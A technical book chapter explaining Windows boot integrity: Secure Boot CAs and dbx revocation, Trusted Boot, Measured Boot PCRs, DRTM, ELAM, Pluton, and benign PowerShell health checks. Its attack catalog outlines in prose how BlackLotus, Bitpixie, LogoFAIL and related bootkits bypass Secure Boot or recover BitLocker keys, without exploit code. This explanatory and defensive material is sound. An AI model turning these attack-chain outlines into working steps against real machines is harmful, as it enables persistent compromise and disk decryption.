The de facto roots for x86 PCs are two Microsoft-rooted certificate authorities, both pre-trusted in db on essentially every certified Windows-class system: the Microsoft Windows Production PCA 2011, which signs Microsoft's own Windows boot binaries (bootmgfw.efi, bootmgr.efi, winload.efi), and the Microsoft Corporation UEFI CA 2011, which signs third-party UEFI binaries: Linux's shim, option ROMs, and third-party firmware drivers [29,27]. The rhboot/shim project documents the arrangement: certified PCs are "typically configured to trust 2 authorities for signing UEFI boot code, the Microsoft UEFI Certificate Authority (CA) and Windows CA" [29]. The fact that both are Microsoft-rooted is the reason Secure Boot, as deployed on default Windows-class x86 PCs, and "Microsoft is the gatekeeper of which operating systems may boot" are operationally close to the same thing. The UEFI Forum's specification did not require that monoculture. The economics did. The default Windows PC ecosystem converged on those two Microsoft-rooted authorities because they belong to the operating-system vendor whose installer media OEMs ship.

Microsoft 2011 CAs / Windows UEFI CA 2023. The X.509 certificate authorities Microsoft uses for Secure Boot. Two CAs from the 2011 family ship pre-installed in db on essentially every Windows-certified PC: the Microsoft Windows Production PCA 2011 signs Microsoft's own Windows boot binaries, and expires on 19 October 2026; the Microsoft Corporation UEFI CA 2011 signs third-party UEFI binaries (Linux's shim, option ROMs, third-party firmware drivers), and expires on 27 June 2026 [30]. The Windows UEFI CA 2023 is the successor for the Windows boot-manager signing path; the third-party UEFI CA / shim path is adjacent, but not the same rollout. KB5025885 is specifically the Windows boot-manager revocation and CA-transition program responding to CVE-2023-24932, and it is still rolling out under phased enrollment via monthly Windows Updates as of 2026 [31].

The dbx variable carries the operational weight of the system. If a signed bootloader is found to be vulnerable, the only blocking remedy is to add its hash to dbx. dbx lives in NV-RAM; on commodity Windows PCs the storage budget is roughly 32 KB total [29].

The Windows boot-manager CA-2023 transition is therefore not a routine certificate rotation. The original 2011 Windows boot-manager certificate (Microsoft Windows Production PCA 2011, the CA that signs bootmgfw.efi) expires on 19 October 2026; the adjacent third-party Microsoft Corporation UEFI CA 2011 expires earlier, on 27 June 2026 [30]. Microsoft's industry-wide Windows UEFI CA 2023 rollout started May 2023 with KB5025885, the patch advisory that paired with CVE-2023-24932, and is on track to be, in Microsoft's own framing, one of the largest coordinated security maintenance efforts the Windows install base has ever seen [31]. The phasing, as published: enroll the new CA in db; sign new Windows boot managers with it; enroll new dbx entries to revoke older signed-but-vulnerable Windows boot-manager binaries; finally, revoke the relevant 2011 Windows boot-manager trust. The published cautionary text is unambiguous: once the irreversible mitigation step is enabled on a device, "it cannot be reverted if you continue to use Secure Boot on that device. Even reformatting of the disk will not remove the revocations if they have already been applied" [31].

Verification is a one-shot signature check at firmware boundaries. The chain still has to extend all the way to userland. Microsoft's name for what comes next is Trusted Boot. The attack catalog returns to the lifecycle problem this creates: patched is not revoked.

Trusted Boot: bootmgfw.efi, winload.efi, and the Windows-specific chain

Secure Boot can answer "is this .efi file in our allowlist?" It cannot answer "does each kernel-mode driver loaded after this .efi file satisfy Windows code-integrity policy?" That second question is what Trusted Boot exists to answer.

Trusted Boot. Microsoft's term for the post-firmware portion of the verified boot chain. UEFI Secure Boot validates bootmgfw.efi. bootmgfw.efi validates winload.efi. winload.efi validates ntoskrnl.exe, the Hardware Abstraction Layer, every boot-start driver, and the ELAM driver. ntoskrnl.exe validates every driver loaded thereafter against the active code-integrity policy. Trusted Boot is therefore the Microsoft policy enforcement chain layered on top of Secure Boot's firmware-side verifier; it is what extends the signature check past the operating-system loader into kernel mode.

The mechanics, after the firmware hands control to bootmgfw.efi: the boot manager reads the Boot Configuration Data store, locates winload.efi (or winresume.efi for resuming from hibernation), and enforces the boot-time integrity policy on every component it loads [10]. The verifier handoff, however, is more interesting than the Microsoft Learn paragraph suggests. It runs in three stages.

Stage A: winload's in-image bootlib verifier. winload.efi does not call kernel-mode ci.dll to validate boot images. It carries its own boot-time code-integrity verifier inside the bootlib boot library shared with bootmgr. Reverse-engineering work on the Elysium bootkit research framework reconstructed the call chain inside winload.efi: OslLoadDrivers → OslLoadImage → LdrpLoadImage → BlImgLoadPEImageEx → ImgpLoadPEImage, with ImgpValidateImageHash performing the Authenticode digest check against the trusted boot policy embedded in winload itself [33]. Boot-start drivers, ntoskrnl.exe, the Hardware Abstraction Layer, and the ELAM driver all flow through this chain before kernel mode is alive to do anything about it.

Stage B: handoff via LOADER_PARAMETER_EXTENSION. When winload.efi is done validating, it has to hand the validated state across the loader-kernel boundary. The mechanism is LOADER_PARAMETER_EXTENSION (LPE), the under-documented structure that hangs off the LOADER_PARAMETER_BLOCK whose address the loader passes to the kernel.

Stage C: kernel-mode ci.dll continuation. Only after ntoskrnl.exe is itself running does the kernel-mode ci.dll come into play. It picks up the SiPolicy state from the LPE and continues the same code-integrity policy enforcement on every kernel-mode image loaded after the loader's window closes: principally via the Se-prefixed validation routines that the kernel's image-load notification routines call into. From that point, every subsequent driver load goes through the same code-integrity gate. The bootlib → LPE → kernel-mode ci.dll decomposition is the underlying mechanism Microsoft's high-level documentation collapses into a single sentence:

The Windows bootloader verifies the digital signature of the Windows kernel before loading it. The Windows kernel, in turn, verifies every other component of the Windows startup process, including boot drivers, startup files, and your anti-malware product's early-launch anti-malware (ELAM) driver.: Microsoft Learn [10]

Trusted Boot is therefore the Windows-specific extension of the verifier into kernel mode. UEFI Secure Boot is platform-agnostic; it ships in db on every certified PC. Trusted Boot is the policy engine that reuses the firmware-side trust anchor and walks it forward into ntoskrnl.exe. The mechanism for how SiPolicy is parsed, how publisher rules are evaluated, and how the kernel's code-integrity state machine handles attempts to load binaries outside policy, lives in the Code Integrity chapter (Chapter 8) and is not redefined here [19].

There is a failure mode you can see coming. If the trusted boot manager itself is signed but vulnerable, the chain still validates, the policy still enforces, and the entire defense is bypassed. The signature is correct; the code path is what is wrong. The attack-catalog section will show what happens when an older bootmgfw.efi revision contains a memory-map manipulation flaw that lets attacker-controlled data flow before the SiPolicy enforcement engine is up. That is the BlackLotus failure. For now, hold the framing: Trusted Boot's guarantee is policy-constrained code integrity for the boot path, not that every validly signed binary is secure or Microsoft-authored.

Verification can stop loading bad code. It cannot prove that good code was loaded. For that we need a parallel rail.

Measured Boot: SRTM, the TPM event log, and PCR 0-7+11 in order

Verification stops bad code from running. Measurement makes sure you can prove, after the fact, what code did run. The two rails do not protect against the same thing. This is the chapter's mechanism-densest section, and the place a few key terms have to be exactly right.

Static Root of Trust for Measurement (SRTM). A boot-time chain of cryptographic measurements anchored in a Core Root of Trust for Measurement (CRTM): a code segment in the platform's flash that is implicitly trusted because it runs first and is immutable, and that performs the first measurement into the TPM before any flexible code runs. SRTM extends one PCR per component as the chain unfolds, producing a tamper-evident log of exactly which firmware, boot manager, and kernel the platform launched. The measurement does not stop bad code; it records what code ran so a verifier can decide later.

The TPM extend primitive is the cryptographic core. The TPM never overwrites a PCR. When the platform asks the TPM to extend PCR N with a measurement m, the TPM does:

where H is the bank's hash algorithm and || is byte concatenation [36]. The TPM 2.0 specification was finalized by the Trusted Computing Group on 9 April 2014 [37]. The mechanism guarantees that any later PCR value is a function of every prior measurement in the order it was extended. You cannot rewind, and you cannot reorder. TPM 2.0 PC-client systems expose multiple PCR banks in practice; the Bitpixie analysis uses the SHA-256 bank for the examples in this chapter [36,38]. The full TPM extend mechanics are covered in the TPM chapter (Chapter 2); we do not redefine them here [39].

The PCR allocation, per the TCG PC Client Platform Firmware Profile, corroborated against the SySS Bitpixie writeup [36] and Microsoft Learn [9]:

PCR[7] deserves a section of its own. On modern Windows, PCR[7] is the canonical seal target for BitLocker. A protector sealed to PCR[7] unwraps cleanly across firmware updates, microcode revisions, and option-ROM changes, because PCR[7] reflects Secure Boot policy state: the keys in PK, KEK, db, dbx, the SecureBoot variable, and Secure Boot authority events for UEFI images. PCR[0..4] are too volatile for sealing on a real fleet because every BIOS update changes them. PCR[7] changes only when Secure Boot policy itself changes [36,40]. The full BitLocker key hierarchy is documented separately [41]; here we are placing PCR[7] in the chain.

The TCG event log makes the measurement chain useful for more than sealing. Every extend is logged through the TCG2 EFI Protocol with the hash, the algorithm, and a description of what was measured. A verifier (BitLocker locally; an attestation service remotely) can replay the log to recover which binary hashed to which PCR value, and (if the replay does not match the live PCRs) detect tampering. Microsoft Learn describes exactly that path: "the PC's firmware logs the boot process, and Windows can send it to a trusted server that can objectively assess the PC's health" [9].

There is a second root of measurement that sidesteps the firmware-trust regress entirely. DRTM (Dynamic Root of Trust for Measurement) is late-launched after firmware boot, via Intel TXT's GETSEC[SENTER] instruction or AMD's SKINIT. It resets PCR[17..22] at locality 4 and re-anchors a measurement chain in a vendor-controlled allowlistable module that does not depend on the DXE phase having been clean [21,40]. Microsoft documents the motivation in plain language:

There are thousands of PC vendors that produce many models with different UEFI BIOS versions. This creates an incredibly large number of SRTM measurements upon bootup. [40]

The argument: SRTM measurements are platform-specific. An attestation service that wants to know whether a given device booted clean must hold an allowlist of SRTM measurements covering N OEMs M models K firmware revisions. The allowlist explodes; the blocklist is asymmetric in the attacker's favor. DRTM collapses the allowlist by defining one small, well-known late-launched measurement chain that the attestation service can recognize across every Secured-core PC.

Dynamic Root of Trust for Measurement (DRTM). A late-launched measurement chain that re-anchors trust after firmware boot, by using a CPU instruction (GETSEC[SENTER] on Intel, SKINIT on AMD) to reset a designated set of PCRs and execute a small, vendor-controlled measured launch module. DRTM is Microsoft's answer to the SRTM allowlist explosion. It powers System Guard Secure Launch, which Windows 10 1809 introduced; on supported hardware, the late-launched module brings up the hypervisor and Secure Kernel from a trust anchor that the firmware cannot influence.

The DRTM PCR allocation is parallel to SRTM but lives in a separate range, PCR[17..22], reset only by the late-launch event. Per the TCG PC Client Platform Firmware Profile (corroborated against the Wikipedia Trusted Execution Technology mirror, since TCG returns HTTP 403 to non-browser fetches) and Microsoft's System Guard documentation [21,40]:

The reset semantics are the load-bearing detail. PCR[0..15] are append-only after platform reset; they cannot be cleared without rebooting the box. PCR[16] and PCR[23] are debug PCRs and resettable rather than ordinary boot-history registers. PCR[17..22] are different again: they can be reset during runtime, but only by an atomic late-launch event. That asymmetry is what makes DRTM's anchor verifiable [21,36].

The mechanism that enforces it is TPM locality. Locality is a side-channel attribute on every TPM command identifying which entity issued the request. Locality 0 is general OS and application traffic. Locality 4 is assertable only by the CPU itself, during the atomic GETSEC[SENTER] (Intel TXT) or SKINIT (AMD) sequence. The TPM accepts a Reset of PCR[17..22] only when the request arrives tagged with locality 4. No software running outside the late-launch instruction can forge that tag. That is the structural reason DRTM's late-launch is verifiable rather than forgeable [21].

The asymmetry pays off for an attestation service. If a remote verifier reads PCR[17] and finds it still at its power-on value of all ones (0xFF...FF), DRTM did not happen on this boot. If it reads PCR[17] and finds it equal to the iterated extend $\mathrm{PCR}[17]:=H(0\Vert H(\text{SINIT\_ACM\_hash}\Vert \text{LCP\_hash}))$ (or, more accurately, the chain of extends the SINIT ACM logged), a CPU-vendor-signed SINIT Authenticated Code Module seeded the chain, and the value is recomputable by the verifier from the published, signed SINIT ACM and the platform's Launch Control Policy [21,40]. The verifier's allowlist for DRTM measurements is bounded by the small set of CPU-vendor-signed measured-launch modules in circulation (SINIT ACMs on Intel TXT; the Secure Loader block measured directly by SKINIT on AMD): not by the cross-product of OEMs, models, and firmware revisions.

We now have two rails of trust ready to converge in the kernel. The next thing the kernel has to do is hand control to defenders that can keep the chain alive into runtime.

ELAM, the kernel, and the Secure Kernel bring-up: where the chain ends

Trusted Boot has enforced boot-time code-integrity policy along the path. Then what? The chain still has to outlive the boot.

Early Launch Anti-Malware (ELAM). A specially-signed driver class introduced in Windows 8 (2012) that loads as the first boot-start driver (ahead of every other boot-start driver) and classifies each subsequent boot-start driver as Good, Bad, Unknown, or BadButCritical for the kernel/code-integrity load path to consult [42,43,44]. ELAM's classification influences whether Windows loads the driver. The ELAM driver itself is a Microsoft-signed binary in the Early-Launch service-start group and is itself measured into the SRTM chain; the user-mode anti-malware service that consumes its classification events runs as a Protected Process Light (PPL).

ELAM exists for a specific reason. The boot-start group includes anti-malware, device, and disk drivers that have to load before the rest of the operating system. Before Windows 8, those drivers all loaded in an undefined order, with no anti-malware product running yet. A bootkit that survived the kernel's signature check (or a driver that was signed but malicious) had a window in which nothing was watching. ELAM closed that window by ordering one driver (a Microsoft-signed AM driver) as the first boot-start driver, and giving it the right to classify those drivers as they loaded [42]. ELAM is itself a boot-start driver; the Microsoft documentation specifies the INF requirement plainly: "An ELAM Driver advertises its group as 'Early-Launch'" [43]. The associated user-mode anti-malware service runs as a Protected Process Light (PPL), the mechanism the Protected Process Light chapter (Chapter 10) develops in full, so even SYSTEM-privileged user-mode code cannot inject into it [42,19].

The kernel itself does the next set of jobs. ntoskrnl.exe initializes memory protections and DMA defenses. Kernel DMA Protection enables the IOMMU (Intel VT-d or AMD-Vi) so that PCIe peripherals either DMA only to memory their compatible driver has assigned (DMA-Remapping-compatible drivers, enumerated and started normally) or are blocked from starting and performing DMA entirely until an authorized user signs in or unlocks the screen (DMA-Remapping-incompatible drivers, the user-presence-gated default); both regimes block the drive-by-DMA pattern that targets arbitrary kernel memory and defend against malicious Thunderbolt peripherals [45]. The Driver Block List, enforced at code-integrity load time, refuses to load a recognized set of vulnerable signed drivers (the canonical example is gdrv2.sys); details are in the Code Integrity chapter (Chapter 8) [19]. HVCI (Hypervisor-Enforced Code Integrity, also called Memory Integrity) is loaded inside the Secure Kernel and enforces W^X on all kernel-mode memory; details are in the Secure Kernel chapter (Chapter 6) [46].

Then the Secure Kernel comes up. securekernel.exe and skci.dll initialize in Virtual Trust Level 1: a Hyper-V-managed isolation domain that the normal Windows kernel in VTL0 cannot read or write. The first Trustlet is LSAIso, the isolated process Credential Guard (the Credential Guard chapter, Chapter 15) uses to hold NTLM hashes and Kerberos tickets out of reach of any kernel-mode attacker [46]. Control returns to the normal kernel; the user-mode tail begins.

The user-mode tail is not security-cryptographic per se. SMSS (the Session Manager) loads system DLLs and starts the first Win32 subsystem session. wininit.exe initializes the LSA, the Service Control Manager, and the Local Session Manager. winlogon.exe paints the credential UI, calls into Windows Hello (the Windows Hello chapter, Chapter 20) [47] if applicable, and authenticates the user. userinit.exe runs the logon scripts and launches explorer.exe [10]. From the boot-integrity perspective, userinit is the moment the static-time guarantees of Trusted Boot end and the runtime defenses (Defender, EDR, attestation) take over.

We have walked the chain end to end. The next question is: when did this chain actually start working?

The breakthroughs that made the chain land (2014-2024)

Secure Boot existed in 2012. Secure Boot worked (in the sense of defending most of what it claims to defend) only after roughly a decade of operational fixes that almost nobody outside Microsoft and a handful of OEMs ever wrote about. Four breakthroughs deserve naming. The matrix below collates them by layer fixed and fix-delivery vehicle before the prose treatments that follow.

The first row is operational, not architectural: PCR[7] becoming the canonical BitLocker seal target on modern Windows fleets [36,40]. Before PCR[7]-centric sealing, BitLocker deployments commonly depended on PCR[0..4]: firmware code, platform configuration, option ROMs, option-ROM configuration, and boot-manager hashes. Many UEFI updates changed PCR[0..4] and forced BitLocker into recovery, which forced an IT staffer to find the recovery key, which was annoying enough to make people turn BitLocker off. PCR[7] sealing decoupled the BitLocker protector from the firmware-revision churn and made Measured Boot durable in practice. This is the operational fix that made Measured Boot actually worth running on a fleet of thousands of laptops with regular UEFI capsule updates.

The second row is the Windows boot-manager CA rotation away from Microsoft Windows Production PCA 2011, which began in May 2023 with KB5025885 and CVE-2023-24932 and is on track to complete in late 2026 [31]. This was the first serious Windows boot-manager dbx housekeeping in a decade. The relevant point: the fix had to be a program, not a hotfix, because dbx is too small to handle a one-shot revocation of a CA-rooted set without bricking recovery, PXE, and some dual-boot paths. The Windows UEFI CA 2023 rollout phases the work across four years; third-party UEFI CA and shim maintenance remains adjacent but separate.

The third was VBS and the Secure Kernel becoming the launch target the boot chain was actually defending. Without the Secure Kernel as a destination, Trusted Boot's guarantee ended at "the kernel is signed", which TDL-4 had already shown was insufficient. A signed kernel is of limited use if the SYSTEM-privileged user-mode code that follows can rewrite kernel memory through a vulnerable signed driver. The Secure Kernel arrived in Windows 10 1507 (2015) and matured into its enforced-by-default form in Windows 11 (2021), at which point the chain had a hardware-isolated destination that even a SYSTEM-level attacker could not reach without a hypervisor exploit [46].

The fourth is still landing. Pluton, the cryptoprocessor whose firmware Microsoft (not the OEM) ships and updates, was announced in November 2020 and reached the x86 PC market with AMD Ryzen 6000 in Q1 2022 [48,49]. Pluton is not yet ubiquitous, and its Secure Boot story is pending: as of 2026, Pluton ships as a TPM 2.0 implementation [7], not as a replacement verifier. The Pluton section unpacks why the Microsoft-firmware-on-silicon-Microsoft-doesn't-own model matters more than the part numbers do.

These were the operational fixes. The architectural breaks they were responding to are the next section.

The boot-chain attacks that actually worked

There has never been a public Secure Boot attack that broke the cryptographic primitive. The Windows boot-manager attacks cluster around one gap (fixing a vulnerability before revoking the signed binaries that carried it) while other failures sit below the verifier, in disabled/custom trust, or in TPM-only downgrade paths. The CVE numbers change. The taxonomy does not.

Scope note: LoJax (ESET, September 2018) was the first real-world UEFI rootkit deployed in the wild, but it operates at the SPI flash layer (below Secure Boot's signature verification chain) and is therefore outside the scope of this table. The table focuses on attacks on the Secure Boot signature-enforcement chain itself.

ESPecter (ESET, October 2021) [50] is the simplest case. It is an ESP-resident bootkit that bypasses Driver Signature Enforcement to load its own unsigned kernel driver, but only on systems with Secure Boot disabled. ESPecter is in the table to make the category visible: the ESP is a writable FAT partition with no signature on the contents, and any malware that can write to the ESP and persuade the firmware to boot from a different bootmgfw path can win on a non-Secure-Boot system. The fix is to turn Secure Boot on.

FinSpy (Kaspersky, September 2021) [51] is the same attack family carrying an actual nation-state-grade payload. Kaspersky's GReAT analysis names the mechanism plainly: "All machines infected with the UEFI bootkit had the Windows Boot Manager (bootmgfw.efi) replaced with a malicious one." The malicious bootmgfw injected code into winlogon.exe for persistence. Again, Secure Boot disabled was the precondition. FinSpy was the proof that the ESP-resident category had real-world tradecraft attached, not just academic interest.

BlackLotus (advertised on hacking forums from at least October 2022 [1]; ESET writeup 1 March 2023) is the case that defines the modern era [1,3]. BlackLotus does not disable Secure Boot. It chain-loads a legitimately-signed but vulnerable older bootmgfw.efi revision. The vulnerability is CVE-2022-21894, nicknamed Baton Drop: an older boot manager honored a truncatememory setting that removed blocks of memory containing serialized data structures from the memory map. The Wack0 PoC repository describes the primitive: "Windows Boot Applications allow the truncatememory setting to remove blocks of memory containing 'persistent' ranges of serialized data from the memory map, leading to Secure Boot bypass" [3]. The chain: boot the legitimately-signed older bootmgfw; trigger Baton Drop; install a malicious SiPolicy that disables further checks; load an unsigned kernel driver; persistently disable HVCI, BitLocker, and Defender from below the trusted-boot horizon. Microsoft's incident-response guide for BlackLotus enumerates six classes of detection artifact: recently-written ESP files, staging directories, registry entries, event-log evidence of policy changes, network indicators, and BCD-log modifications [52]. The NSA published a mitigation guide on 22 June 2023 [53]. ESET's epitaph is the chapter's recurring quote:

Exploitation is still possible as the affected, validly signed binaries have still not been added to the [UEFI revocation list].: Martin Smolar, ESET, March 2023 [1]

The "disables HVCI / BitLocker / Defender from below the trusted-boot horizon" framing in the caption is verbatim from the ESET disclosure and is reinforced by Microsoft's own incident-response guide [1,52].

Bitpixie / CVE-2023-21563 [2,36] is BlackLotus' twin in BitLocker space. The vulnerability was discovered by Rairii in August 2022; Thomas Lambertz of Neodyme published a public PoC at 38C3 in December 2024. The mechanism is a downgrade. The attacker boots the target machine into Windows' PXE network-recovery soft-reboot path, which loads a Microsoft-signed but older bootmgfw.efi revision. That older revision does not erase the BitLocker VMK from physical memory before the PXE soft-reboot hands off, leaving the VMK in RAM where the chained payload (a signed Linux PE or downgraded WinPE) can dump it. The combination of TPM-only BitLocker (no pre-boot PIN), a Microsoft-Account-defaulted Windows 11 install (which biases toward TPM-only encryption), and physical access to a network port and keyboard, decrypts the disk in minutes. Lambertz' framing: "All an attacker needs is the ability to plug in a LAN cable and keyboard to decrypt the disk" [2]. Bitpixie does not break Secure Boot. It exploits the same operational invariant (old-but-signed binaries still validate) in a different protection domain.

Bootkitty (ESET, 27 November 2024) [4] closes a symmetry. Twelve years after Andrea Allievi's September 2012 PoC (the first UEFI bootkit designed for Windows 8 [54]) Bootkitty is the first UEFI bootkit aimed at Linux. Bootkitty was uploaded as a self-signed PoC, so on systems with Secure Boot enabled, it does not load unless the attacker's certificate has been enrolled in the Machine Owner Key (MOK) list: either by a user via mokutil (the ordinary Linux path), by a prior compromise enrolling the cert, or by chaining LogoFAIL (CVE-2023-40238) to inject a rogue MOK certificate from a malicious BMP, as Binarly demonstrated [5]. Bootkitty patches kernel-image-integrity functions and pre-loads ELF binaries via init. ESET later updated the attribution: an analysis posted in early December 2024 traced the build to a Korean Best of the Best (BoB) student project. The structural lesson is platform-orthogonal: Secure Boot's gaps live in the firmware and revocation surfaces, not in any one operating system.

LogoFAIL (Binarly REsearch, Black Hat EU 2023; CVE-2023-39539, CVE-2023-40238, CVE-2023-5058; advisory BRLY-2023-006) is the most architectural of the breaks because it compromises the verifier itself. The DXE phase parses a customizable boot logo image (the OEM splash screen displayed on power-on) and the parser is a piece of firmware code accepting an attacker-controlled input. Binarly demonstrated parser bugs in the BMP, GIF, JPEG, PCX, and TGA decoders shipped in reference code by all three major Independent BIOS Vendors (AMI, Insyde, and Phoenix) across hundreds of consumer and enterprise devices [55]. A successful exploit gives the attacker code execution at the DXE phase, which is below Secure Boot's LoadImage() verifier. From DXE, the attacker can do whatever they want before the operating-system loader runs. Bootkitty later carried a LogoFAIL exploit (CVE-2023-40238) to inject a rogue MOK certificate from a malicious BMP, demonstrating the chain end to end [5].

Finally, the WinRE downgrade family is the smaller cousin of the bigger story [56,57,58]. The Recovery Environment is a Windows partition with its own boot path; when an older signed boot manager remains reachable, a downgrade can route a BitLocker-protected device into attacker-controlled recovery code. The attack does not break the Secure Boot chain; it routes around the expected Windows path. The point of including it in this catalog: it is another instance of the dbx-revocation-by-hash limit. As long as an older signed binary exists and is reachable, Secure Boot's verifier will validate it.

Across the Windows boot-manager cases, the operational invariant is the same: the gap between patched and revoked is wide, and dbx is too small to close it. LogoFAIL, disabled Secure Boot, custom trust, and TPM-only downgrades are different failure classes. The next section examines whether anything can shrink the Windows revocation gap.

Theoretical limits, open problems, and the Pluton pivot

If the dominant Windows boot-manager breaks are operational, why has nobody fixed the operations? Because the operational bounds are themselves theoretical.

Six structural limits.

The verifier-of-verifiers regress. Secure Boot's verifier is firmware code that itself must be trusted. Where enabled for enforcement, Boot Guard and AMD PSB push that root one rung deeper, into silicon ROM and OTP fuses [22,21]. Pluton moves the TPM-class root and its firmware update cadence onto Microsoft-serviced silicon today; it does not replace the DXE verifier. There is no software-only bottom turtle. Every architecture in the field has some layer that is trusted because there is no further layer to which trust can be deferred. The engineering question is which party owns that layer (OEM, Intel, AMD, or Microsoft via Pluton) and on whose update cadence the layer can be patched. IOActive's 2024 review of AMD PSB found that "various major vendors fail to" configure PSB correctly [22], which is the kind of operational failure mode no cryptographic primitive can fix.

Why dbx revocation is hard. dbx is small, shared with Linux, vendor-implemented, and a brick-risk if mismanaged. The list stayed nearly empty for a decade until BlackLotus forced KB5025885's multi-year program [59]. SBAT (Secure Boot Advanced Targeting), the partial answer in the rhboot/shim project [29], revokes by generation number rather than by image hash. SBAT works by embedding a CSV-formatted vendor-and-component-version table in every shim-signed binary; when the SbatLevel UEFI variable records "minimum acceptable shim generation is 4", shim refuses every older shim, which still hashes correctly but is too old. SBAT collapses tens of revocation events that would each consume hundreds of bytes of dbx into a single small metadata bump. The UEFI Forum has, since 2024, deferred to the canonical Microsoft-managed secureboot_objects GitHub repository [60] as the source of truth for KEK, db, and dbx contents.

SBAT (Secure Boot Advanced Targeting). A revocation scheme designed by the rhboot/shim project to address dbx capacity exhaustion. Instead of revoking each vulnerable signed binary by Authenticode hash (which consumes ~32 bytes of dbx per binary), SBAT revokes by generation number: each signed component carries a CSV-formatted version table; shim compares it against a minimum generation recorded in the SbatLevel UEFI variable and refuses older builds, without consuming dbx capacity (firmware itself still enforces only db and dbx). SBAT is the project's structural answer to the cohort-revocation problem the earlier dbx-capacity note quantifies.

The signed-but-vulnerable problem. As long as Microsoft-signed bootloaders with known flaws remain reachable on production, recovery, or install media, Secure Boot must revoke by hash, by SVN, by SiPolicy, or by certificate: each with collateral damage. Hash revocation does not cover binaries the attacker has not yet seen. SVN revocation forces coordinated rebuilds across the signed-binary population. SiPolicy revocation depends on the SiPolicy update reaching each protected machine. CA rotation can break PXE recovery, recovery USBs, dual-boot Linux, and custom WinPE images.

Supply chain at the firmware level. LogoFAIL, BMC-resident attacks against rack servers, leaked or test Platform Keys shipped in production firmware (PKfail, 2024), Boot Guard key leaks (which OTP fuses cannot recover from), and OEM ME/PSP fuse misconfiguration are the categories Secure Boot cannot, by construction, defend against. The verifier sits above these layers; if these layers are compromised, the verifier is running on a base it cannot trust.

SRTM allowlist explosion. N OEMs, M models, K firmware revisions; the allowlist of "good SRTM measurements" explodes; the blocklist is asymmetric in the attacker's favor. DRTM late-launch is the only known way to collapse the allowlist. As Microsoft puts it, "DRTM lets the system freely boot into untrusted code initially, but shortly after launches the system into a trusted state" [40].

Bus interception of discrete TPMs. A discrete TPM on the LPC or SPI bus can be sniffed by a physical attacker. This is what motivates the move to Pluton: the TPM moves on-die, the bus disappears, and the BitLocker VMK no longer crosses a sniffable wire [39].

The Pluton pivot. Pluton's pitch, for the boot chain, developed in full in the Pluton chapter (Chapter 3), is to improve the measurement endpoint today and potentially move more root-of-trust firmware onto a Microsoft-serviced cadence over time [6,7]. Pluton implements TPM 2.0 on the CPU die, so the existing measurement chain plugs in unchanged. What changes is the firmware update cadence. Pluton firmware ships through Windows Update as an additional channel alongside existing UEFI capsule updates; the key difference is that Microsoft authors and controls the Pluton firmware, and the Windows Update path enables Microsoft to deliver those fixes independent of OEM release scheduling. The bus disappears: Pluton's interface is on-die--there is no external LPC or SPI bus crossing a package boundary that can be physically tapped, eliminating bus-sniffing against the TPM link as an attack class. And on 2024+ AMD and Intel parts, the Pluton firmware itself is written in Rust, addressing the memory-safety class of bugs that has historically dominated firmware CVEs [6].

There are honest residual limits. Pluton is a TPM, not a verification chain; the rest of Secure Boot still runs in DXE-phase firmware that LogoFAIL can compromise. Adoption is non-universal: as of 2026, Pluton ships on Microsoft Surface, AMD Ryzen 6000-9000/AI series, a subset of Intel Core Ultra (200V / Series 3) parts, and Qualcomm Snapdragon 8cx Gen 3 / X parts powering Copilot+ PCs, with many enterprise PCs still on discrete TPMs [6]. The OEM still owns PK and the firmware update path outside Pluton, so the dbx-revocation problem and the OEM-key-leak problem are unaddressed by Pluton alone. Attestation infrastructure (Device Health Attestation, Intune device-health Conditional Access) is still maturing, and the policies that consume attestation outcomes are still hand-rolled per organization.

Pluton closes the cadence gap. It does not close the gap between patched and revoked. Nothing yet does, and that is the next decade's problem.

Proof by documentation, not capture

This chapter does not include a hash-verified VM capture. The firmware state that matters for Secure Boot is machine-specific, and the production evidence set for this book has no captured Secure Boot transcript for this chapter. The honest substitute is documented verification: real commands you can run on a Windows system, paired with expected outputs defined by Microsoft documentation rather than by this lab.

# UEFI system, Secure Boot enforcing
True

# UEFI system, Secure Boot disabled
False

If the platform does not support UEFI Secure Boot, the cmdlet reports that it is not supported on this platform. The interpretation follows Microsoft's Secure Boot and trusted-boot documentation [9,10].

TpmPresent TpmReady TpmEnabled TpmActivated
---------- -------- ---------- ------------
      True     True       True         True

The exact formatting varies by PowerShell host; the documented claim is not the column width but the state: the TPM is present, ready, enabled, and activated before Windows can use it as the measured-boot and BitLocker seal endpoint [9,10,106].

Name  : db
Bytes : {48, 130, ...}

Name  : dbx
Bytes : {48, 130, ...}

The bytes are platform policy, not a universal constant. The documented point is that db and dbx are readable authenticated UEFI variables containing the allowlist and denylist material discussed in this chapter [27,60].

These probes do not prove that a particular boot was clean. They prove the configuration surfaces a Reasoner should inspect before trusting the rest of the Windows chain: Secure Boot enforcing, TPM ready, and the UEFI policy variables present. The measured-boot chapters build the stronger statement by replaying PCRs and event logs.

Practical guide, and where the chain goes next

This is the part you do today, on whatever Windows machine is in front of you.

Verify Secure Boot state. Open an elevated PowerShell prompt and run Confirm-SecureBootUEFI. The cmdlet returns True only if Secure Boot is currently enforcing. msinfo32 shows BIOS Mode (UEFI vs Legacy) and Secure Boot State on its System Summary page. Get-SecureBootPolicy shows the active Secure Boot policy publisher and related metadata; do not confuse that output with the Microsoft owner GUIDs used for the canonical KEK/db/dbx variable updates in secureboot_objects [60]. Get-Tpm and tpmtool getdeviceinformation confirm that the TPM is present, owned, and ready [10,9].

Read the TPM event log. tpmtool gatherlogs collects the WBCL files into a working folder you can inspect; Get-WinEvent -LogName Microsoft-Windows-TPM-WMI exposes the boot and provisioning events. On a healthy boot, the WBCL and the live PCR state replay to the same digest; mismatch is the attestation signal a remote verifier looks for.

One-shot health check (PowerShell snippet).

The following one-liner gathers the basic state in elevated PowerShell:

Write-Host "SecureBoot =" (Confirm-SecureBootUEFI)
Write-Host "SBPolicy   =" (Get-SecureBootPolicy).Publisher
Write-Host "TPMReady   =" (Get-Tpm).TpmReady
Write-Host "UEFI/BIOS  =" (Get-CimInstance Win32_BIOS).SMBIOSBIOSVersion

If SecureBoot is False, your boot chain has no firmware-side allowlist. If TPMReady is False, TPM-based sealing is unavailable; confirm which BitLocker protectors are actually configured (a password, startup key, or PIN may still apply) rather than assuming a TPM protector is in force.

